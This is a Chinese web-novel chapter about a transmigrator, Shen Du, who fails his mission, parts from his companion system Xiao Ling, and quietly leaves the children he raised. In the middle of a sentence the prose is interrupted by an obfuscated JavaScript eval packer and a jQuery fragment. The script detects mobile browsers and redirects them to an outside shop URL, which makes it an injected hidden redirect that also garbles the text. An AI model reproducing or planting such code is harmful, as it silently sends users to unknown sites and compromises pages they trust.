沈渡离开的那天，是一个下午，天气很好。
阳光从窗户照进来，落在厨房的灶台上。锅里的粥还在煮，咕嘟咕嘟的，像在说“我好了我好了”。没有人来盛。
沈渡站在灶台前，穿着那件灰色的、袖口磨得起毛球的毛衣。他的手放在锅柄上，没有拿起来。他站了很久，久到粥开始变稠，久到锅底有一层薄薄的锅巴，发出焦香的味道。
“宿主。”小零的声音很轻，像怕惊动什么。
“嗯。”
“时间到了。”
沈渡没有问“什么时间”。他知道。每个世界都有它的时限。他的时限到了。
不是因为任务完成了，是因为任务失败了。彻彻底底的、不留任何余地的、F级的失败。
系统总部发来评级通知的时候，小零哭了一场。不是人类的哭，是屏幕闪烁，亮度忽明忽暗，像一颗快要熄灭的星星。
“F级，”小零的声音在发抖，“最低分。积分倒扣。我被骂了。总部说我是‘史上最差系统’。说我‘纵容任务者偏离剧情’‘未履行监督职责’‘与任务者建立不当情感联结’。不当情感联结。宿主，什么叫不当情感联结？就是我把你当朋友了。他们说系统不能和任务者做朋友。系统只能是工具。工具不能有感情。”
沈渡没有说话。他把小零的屏幕亮度调低了一点，不是因为它太亮了，是因为他想让它休息一下。
“宿主，我不在乎被骂，你是我的第一个朋友，我不怕被骂。”小零的声音渐渐小了，“呜呜呜，儿孙自有儿孙福，他们也太福了吧？呜呜呜积分被扣光了，我们在这个世界待不下去了。下个世界，我们要重新开始，我们还欠钱了，你要很久才能复活了。”
沈渡，“没事的，下次多赚点。收拾东西吧。”
“宿主，我们要走了。”
“嗯。”
“你不告诉孩子们吗？”
沈渡没有回答。沈渡关了火。粥还在锅里冒着热气，他盛了一碗，放在餐桌上。
然后他走到走廊里，把那盏空了八年的小夜灯从柜子里拿出来。白色的灯座，圆圆的，像一个还没有画上脸的光头小人。他把它擦干净，放在餐桌上，旁边是那碗粥。
他没有留纸条。他不需要留。因为那些孩子会懂的。他们是被他养大的，他们知道他爱他们。不需要纸条，不需要遗言，不需要任何形式的“再见”。
有些话不用说出口。说出口就轻了。不说，反而重。重到一辈子都记得。
这大概是沈渡留给他们的最后一课。离别。不是所有的相遇都有结局，不是所有的陪伴都能到老。有些人来了，陪你走一段路，然后走了。不是因为不爱你了，是因为他还有别的路要走。你不能跟着他，你只能送他到路口，然后转身，走自己的路。
路很长，很难走，会有风，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547271|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会有雨，会有你看不见的坑。你会摔跤，会迷路，会想回头。但你不能回头。因为那个人在路的尽头等你。他走的是另一条路。你们的方向不一样，但终点是一样的。
终点叫“成为更好的人”。他希望你成为那样的人。不是因为他想让你变成他想要的样子，是因为他知道你可以。你骨子里有那些东西——善良、温柔、勇敢、坚韧。他看到了，他相信了，他等着你。
不是等着你回来，是等着你长大。长到不需要他也能好好吃饭、好好睡觉、好好过日子。长到有一天，你端起一碗粥，吹了一下，喝了一口，忽然笑了。因为你想起来了，这个动作是他教你的。
他不在你身边了，但他教你的东西还在。在你喝粥的方式里，在你会为别人倒水的习惯里，在你看到有人蹲在角落里哭泣时会走过去陪他的那一瞬间里。他活在你的动作里。
窗外的月亮升起来了。很圆，很亮，像一个被洗得发白的灯笼。
月光从窗户照进来，落在那张圆桌上，落在那碗凉掉的粥上，落在那盏萨摩耶小夜灯上。灯亮着。狗的嘴角上扬，在笑。
它替沈渡看着这个家。看着这些孩子。看着他们哭，看着他们笑，看着他们慢慢长大。它不会说话，但它在笑。
笑是最好的语言。不需要翻译，所有人都懂。剩下的那些，藏在心里就好。心里装不下的，就变成眼泪流出来。流完了，就好了。